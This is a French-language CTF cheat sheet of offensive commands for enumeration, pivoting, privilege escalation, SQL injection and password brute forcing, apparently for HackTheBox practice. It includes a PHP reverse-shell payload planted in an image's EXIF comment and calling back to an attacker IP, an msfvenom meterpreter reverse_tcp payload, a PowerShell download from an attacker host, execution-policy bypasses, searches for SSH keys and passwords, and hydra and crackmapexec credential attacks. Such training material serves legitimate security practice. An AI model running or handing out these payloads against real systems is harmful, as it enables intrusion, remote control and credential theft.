Une simple page de mémo pour les CTF 🙂




SOMMAIRE :

→ Reverse shell samples
→ Scripts d’énumération automatique
→ Commandes d’interaction (pour CTF communs)
→ Transfert de fichiers
→ Enumération
→ Exploitation & Elévation de privilèges [LINUX]
→ Exploitation & Elévation de privilèges [WINDOWS]
→ Injection SQL
→ Bruteforce



Reverse shell samples :

https://github.com/acole76/pentestmonkey-cheatsheets/blob/master/shells.md



Scripts d’énumération automatique :

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh


Commandes d’interaction (pour CTF communs)

who

-> Affiche les tty connectés

wall "hello world !"

-> Envoie un message sur tous les tty connectés


Transfert de fichiers

socat TCP4-LISTEN:1234 TCP4:10.10.10.171:80 &

-> Lance un relai TCP vers une autre machine (pivoting)

Pratique lorsqu’on se connecte à HTB via un VPS

socat TCP4-LISTEN:1234,fork TCP4:10.8.6.2:22 &

-> Lance un relai TCP et fork le tunnel en cas de coupure

python -m SimpleHTTPServer <PORT>

-> Lance un serveur web dans le répertoire local

apt-get install python-pyftpdlib
python -m pyftpdlib -p 21

->Lance un serveur ftp dans le répertoire courant

impacket/examples/smbserver.py -smb2support -username guest -password guest share /root/htb

-> Lance un serveur smb accessible en tant que guest/guest

Possibilité d’y accéder sous Windows avec un net use


Enumération :

nslookup -type=<MX / A / AAA / TXT / CNAME / PTR> <DOMAIN>

nslookup -type=MX test.fr

nmap ( 
 -A : détection du système et des versions
 -sP : simple ping scan
 -sS/sT/sA/sW/sM: Scans TCP SYN/Connect()/ACK/Window/Maimon
 -sN/sF/sX: Scans TCP Null, FIN et Xmas
 -sU: Scan UDP 
 -T4 : Définit une temporisation[0-5]
  )

nmap -A -T4 -sV 10.10.10.157

nmap --script <SCRIPT> -p <PORT> <IPADDRESS>

nmap –script smb-vuln* -p 139,445 10.10.10.134

masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0

-p1-65535,U:1-65535 tells masscan to scan all TCP/UDP ports
--rate=1000 scan rate = 1000 packets per second
-e tun0 tells masscan to listen on the VPN network interface for responses

nikto -h <URL> -p <PORTS>

nikto -h 192.168.0.1 -p 80,443

gobuster --url <IP ADDRESS> dir --wordlist <WORDLIST> -x <EXTENSION>

gobuster –url 10.10.10.157 dir –wordlist /usr/share/wordlists/dirb/big.txt -x php,txt,html,htm

-k -> pas de vérification du certificat SSL

smbclient --list //<IPADDRESS>/ -U ""

Enumération des répertoires partagés accessibles en anonymous

rpcclient -U "" -N 10.10.10.180

Accès en RPC de façon anonyme (WINDOWS)

crackmapexec smb DC.ustoun.local -u 'guest' -p '' --rid-brute

Bruteforcer les RID des comptes Windows

crackmapexec smb DC.ustoun.local -u 'SVC-Kerb' -p /root/rockyou.txt

Bruteforce SMB avec crackmapexec

enum4linux -a 10.10.10.180

Enumération SMB, RPC & co (WINDOWS)

gem install evil-winrm
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'

Ouvrir un shell winrm

cat *.txt | gobuster --url 10.10.10.157 dir --wordlist -

-> pour piper plusieurs wordlists dans gobuster

dirb <url> <wordlist>

dirb http://docker.hackthebox.eu:58651 /usr/share/dirb/wordlists/vulns/apache.txt

dirb options :
 -a "agent" -> spécifie un user-agent
 -R -> récursivité interactive
 -o output.txt -> redirige l'output
wfuzz --hh=<PARAM_SIZE>  -w <WORDLIST> <URL>.php?<PARAM_NAME>=test

wfuzz –hh=24 -w /usr/share/dirb/wordlists/big.txt http://docker.hackthebox.eu:42566/api/action.php?FUZZ=test

https://aperisolve.fr/

Site conçu par un membre de la team AperiKube pour de la recherche d’infos dans une image


Exploitation & Elévation de privilèges [LINUX] :

python -c 'import pty; pty.spawn("/bin/sh")'
/usr/bin/script -qc /bin/bash /dev/null

Pour obtenir un shell plus élevé, afin de passer d’un reverse shell à un shell complet

padbuster <URL> <COOKIE> <BLOCK_SIZE> -cookies "<PHPESSID_COOKIE> <OPTIONNAL_COOKIES>" --plaintext '<NEW_VALUE>'

padbuster http://docker.hackthebox.eu:59436/profile.php tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D 8 -cookies « PHPSESSID=74j9m7o8pbaq8pdoq3l56rvpk4; iknowmag1k=tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D » –plaintext ‘{« user »: »test », »role »: »admin »}’

searchsploit -t <INTITLE>  <KEYWORDS> -w

searchsploit windows local smb

sudo -l

-> liste les commandes autorisées pour l’utilisateur courant

find / -type d -writable 2> /dev/null

-> Liste les répertoires accessibles en écriture

find /* -user root -perm -4000 -print 2>/dev/null

-> Liste les binaires exécutables par l’utilisateur courant

find / -type f -perm /6000 -ls 2>/dev/null 

-> Liste les fichiers setuid/setgid sur le système

find / -iname "mon_fichier" -print 2>/dev/null

-> Trouver un fichier précis sur le système

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null

-> Trouver des clés RSA ou des autorisations de connexion SSH

grep -iR "passw"

-> Rechercher du texte dans des fichiers d’une arborescence

binwalk socute.jpg 

-> Vérifier le contenu d’une image (peut contenir des fichiers zip par exemple)

 exiftool -Comment='<?php $sock = fsockopen("<IPADDRESS>",<PORT>);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>'   <IMAGE>

exiftool -Comment='<?php $sock = fsockopen(« 10.10.10.1 »,1234);$proc = proc_open(« /bin/sh -i », array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>’ photo.png


Exploitation & Elévation de privilèges [WINDOWS] :

https://github.com/itm4n/PrivescCheck
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Tester les privilèges de l’utilisateur

whoami /priv
whoami /groups
Liste des privilèges : https://github.com/gtworek/Priv2Admin

Lister les privilèges de l’utilisateur courant

Get-Services

Lister les services (Pour vérifier les unquoted services)

Set-ExecutionPolicy Unrestricted

Retirer les restrictions d’exécution de scripts

powershell -c "(new-object System.Net.WebClient).DownloadFile('http:/
/10.11.0.4/wget.exe','C:\Users\toto\Desktop\wget.exe')"

Télécharger un fichier depuis un serveur web

msfvenom -p windows/meterpreter/reverse_tcp lhost=<LOCALIP> lport=<LOCALPORT> -f <FORMAT> > <OUTPUTFILE>

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.100 lport=4444 -f exe > payload.exe

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

./windows-exploit-suggester.py --update
./windows-exploit-suggester.py -d 2014-06-06-mssb.xlsx -i systeminfo.txt

Vérifier les exploits disponibles en fonction du systeminfo de la victime

https://github.com/PowerShellMafia/PowerSploit

powershell.exe -nop -exec bypass
Import-Module PowerUp.ps1
Invoke-AllChecks

Lancer un PowerShell sans restrictions, charger PowerUp et lancer le check complet


Injection SQL :

sqlmap -u <URL> (--dbs / --tables -D <DATABASE> / --columns -D <DATABASE> -T <TABLENAME>)

sqlmap -u http://bidule.fr/index.php?id= –columns -D information_schema -T USER_PRIVILEGES


Bruteforce :

Cracker un zip chiffré avec une liste de mots de passe

fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt secret.zip
crunch <MIN> <MAX> <CONTENT>

crunch 4 15 « abcdefghijklmnopqrstuvwxyz »

crackmapexec ssh 192.168.193.132 -u users.txt -p rockyou.txt

tester une liste d’utilisateur avec une liste de mot de passe (SSH, SMB, WINRM)

hydra -l <USER> -P <WORDLIST> <IP ADDRESS> <METHOD> <URL>

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.157 http-get /monitoring

hydra -l <LOGIN> -P <WORDLIST> <URL> <METHOD>"<PAGE>:<ARGUMENT>=^<VALUE>^:<INCORRECT STRING>" -w <THREADS> -s <PORT>

hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form « /index.php:password=^PASS^:Invalid password » -w 10 -s 45692

john --incremental <HASHFILE>

Pour bruteforcer de façon incrémentale

john <HASHFILE> --wordlist=/usr/share/wordlists/rockyou.txt

Pour bruteforcer avec un dictionnaire

Script de bruteforce anti-CSRF :

https://github.com/J3wker/anti-CSRF_Token-Bruteforce